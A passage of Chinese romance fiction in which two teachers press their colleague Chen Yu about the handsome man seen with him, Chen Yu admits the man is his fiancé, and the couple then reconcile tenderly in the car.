廖老师:“比你高一个头,穿着蓝黑色的风衣,深灰色的运动裤,戴着黑色的棒球帽,站在你边上,搂着你肩膀的那位帅哥。” 陈屿干笑一声:“廖老师你的视力真不错。” 廖老师遗憾地开口:“可惜距离太远了,我还没看清他的脸,但我很肯定他绝对是个帅哥。” 陈屿:“所以...?” 夏老师两眼发光:“所以他是我们榆城人吗?在哪里上班呀?几岁了?是不是单身?有没有他的联系方式?” “他不是榆城人。” “目前是个无业游民。” “28岁的老男人了。” “不是单身,他有对象。” “有联系方式,但他是gay,不喜欢女生。” 陈屿笑眯眯地看着两位老师,表示遗憾:“这样的条件,两位老师要慎重啊,而且他已经有喜欢的人了,他和对象的感情稳定,再过不久就要结婚了。” 夏老师和廖老师对视一眼,叹声:“好可惜。” 廖老师:“我就说榆城怎么可能有这种极品天菜。” 夏老师:“我赞同廖老师的话,我一个土生土长的榆城人从没看见过帅哥。” 廖老师:“我总觉得你朋友的背影很像一个人。” 夏老师:“谁啊?” 廖老师:“易深。” “咳——”陈屿差点被口水呛到:“廖老师你肯定看错了。” 夏老师:“真的吗?!” 廖老师点点头:“真的很像。” 陈屿:“绝对不可能。” 夏老师:“怎么说?” 廖老师:“不管是气质还是身形都很像,也可能是我们刚看完易深的演唱会,让我对易深的印象比较深刻,看到跟他差不多类型的都会自动代入他的脸。” 陈屿松了口气:“是的,没错。” 廖老师八卦的目光在陈屿身上打转:“所以,刚才那个男生就是你的男朋友吗?” 夏老师也嗅到了瓜的味道,看着陈屿的眼神都变了:“陈陈陈老师!是真的吗?!” 陈屿没想到会引火烧身,在选择坦白还是隐瞒中犹豫了好一会,最后还是肯定了这个答案:“是,他是我男朋友。” 廖老师露出一副“果然”的神色,“所以刚才陈老师说的‘两人感情稳定不日完婚’,你们要结婚了?” 陈屿再次有种“自己搬起石头砸自己的脚”的感觉,他无奈地点了点头。 廖老师:“哇塞!恭喜陈老师!” 夏老师:“陈老师结婚要给我发请帖呀!我一定会捧场的!我们是娘家人!” 陈屿:“等等,怎么就娘家人了,咱们不能是婆家人吗?” 夏老师:“额...陈老师说得对,我们是婆家人!” 廖老师:“好啦,陈老师你先走吧,别让男朋友等太久了。” 陈屿走出超市回到车上时,都没明白,廖老师到底是怎么发现他是gay的。 易深:“那我们现在可以回家了吗?” 陈屿能明显感觉到易深情绪的低落,他凑过去,揉了揉易深的脸,“生气了?” 易深:“没有。” 陈屿:“今天太突然了,而且还是在超市,所以没有把你正式介绍给他们。” 易深点点头。 陈屿看着他沉闷的脸色忍不住笑了笑,真的好可爱,就像生气的小狗。 易深扭头看了他一眼,委屈地抿了抿唇。 陈屿:“但是我有告诉她们,我有男朋友了,而且我们的感情很稳定,将来结婚的话会给她们发请帖。” “结婚?”易深怔怔地看着他,紧张地说了句:“是跟她们开玩笑的吗?” 陈屿:“没有开玩笑啊。” 易深:“那是认真的吗?” 陈屿握着他的手,转了转他无名指上的戒指,脸色微沉:“我都已经向你求婚了,戒指也戴了,你该不会想赖账吧?” “怎么会?!”易深反握住他的手,与他十指相扣,“我还以为这一天要等很久很久。” 那一瞬间,陈屿清晰地看见了他眼眶里闪烁着细碎的泪光。 陈屿凑上前,吻了吻他的唇角:“因为我爱你,所以想和你喜结连理。”